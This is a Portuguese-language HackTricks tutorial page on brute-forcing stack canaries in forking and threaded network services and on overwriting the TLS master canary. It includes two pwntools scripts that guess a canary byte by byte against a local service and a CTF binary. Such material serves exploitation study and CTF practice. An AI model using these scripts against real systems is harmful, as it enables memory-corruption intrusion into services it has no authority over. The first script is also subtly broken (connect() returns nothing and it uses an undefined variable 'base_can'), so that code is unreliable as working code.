# BF Forked & Threaded Stack Canaries {{#include ../../../banners/hacktricks-training.md}} **Se você está enfrentando um binário protegido por um canário e PIE (Executable Independente de Posição), provavelmente precisa encontrar uma maneira de contorná-los.** ![](<../../../images/image (865).png>) > [!TIP] > Note que **`checksec`** pode não encontrar que um binário está protegido por um canário se este foi compilado estaticamente e não é capaz de identificar a função.\ > No entanto, você pode notar isso manualmente se descobrir que um valor é salvo na pilha no início de uma chamada de função e esse valor é verificado antes de sair. ## Brute force Canary A melhor maneira de contornar um canário simples é se o binário for um programa **que cria processos filhos toda vez que você estabelece uma nova conexão** com ele (serviço de rede), porque toda vez que você se conecta a ele **o mesmo canário será usado**. Então, a melhor maneira de contornar o canário é apenas **forçá-lo brute-force caractere por caractere**, e você pode descobrir se o byte do canário adivinhado estava correto verificando se o programa travou ou continua seu fluxo regular. Neste exemplo, a função **força um canário de 8 Bytes (x64)** e distingue entre um byte adivinhado corretamente e um byte ruim apenas **verificando** se uma **resposta** é enviada de volta pelo servidor (outra maneira em **outra situação** poderia ser usando um **try/except**): ### Exemplo 1 Este exemplo é implementado para 64 bits, mas poderia ser facilmente implementado para 32 bits. ```python from pwn import * def connect(): r = remote("localhost", 8788) def get_bf(base): canary = "" guess = 0x0 base += canary while len(canary) < 8: while guess != 0xff: r = connect() r.recvuntil("Username: ") r.send(base + chr(guess)) if "SOME OUTPUT" in r.clean(): print "Guessed correct byte:", format(guess, '02x') canary += chr(guess) base += chr(guess) guess = 0x0 r.close() break else: guess += 1 r.close() print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) return base canary_offset = 1176 base = "A" * canary_offset print("Brute-Forcing canary") base_canary = get_bf(base) #Get yunk data + canary CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary ``` ### Exemplo 2 Isso é implementado para 32 bits, mas isso pode ser facilmente alterado para 64 bits.\ Também note que para este exemplo o **programa esperava primeiro um byte para indicar o tamanho da entrada** e o payload. ```python from pwn import * # Here is the function to brute force the canary def breakCanary(): known_canary = b"" test_canary = 0x0 len_bytes_to_read = 0x21 for j in range(0, 4): # Iterate up to 0xff times to brute force all posible values for byte for test_canary in range(0xff): print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="") # Send the current input size target.send(len_bytes_to_read.to_bytes(1, "little")) # Send this iterations canary target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little")) # Scan in the output, determine if we have a correct value output = target.recvuntil(b"exit.") if b"YUM" in output: # If we have a correct value, record the canary value, reset the canary value, and move on print(" - next byte is: " + hex(test_canary)) known_canary = known_canary + test_canary.to_bytes(1, "little") len_bytes_to_read += 1 break # Return the canary return known_canary # Start the target process target = process('./feedme') #gdb.attach(target) # Brute force the canary canary = breakCanary() log.info(f"The canary is: {canary}") ``` ## Threads Threads do mesmo processo também **compartilharão o mesmo token canário**, portanto será possível **forçar um canário** se o binário criar uma nova thread toda vez que um ataque acontecer. Além disso, um **overflow de buffer em uma função com threads** protegida com canário poderia ser usado para **modificar o canário mestre armazenado no TLS**. Isso ocorre porque pode ser possível alcançar a posição de memória onde o TLS está armazenado (e, portanto, o canário) através de um **bof na pilha** de uma thread.\ Como resultado, a mitigação é inútil porque a verificação é feita com dois canários que são os mesmos (embora modificados).\ Esse ataque é realizado na descrição: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) Confira também a apresentação de [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) que menciona que geralmente o **TLS** é armazenado por **`mmap`** e quando uma **pilha** de **thread** é criada, ela também é gerada por `mmap`, de acordo com isso, o que pode permitir o overflow como mostrado na descrição anterior. ## Other examples & references - [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html) - 64 bits, no PIE, nx, BF canary, escreva em alguma memória um ROP para chamar `execve` e pular lá. {{#include ../../../banners/hacktricks-training.md}}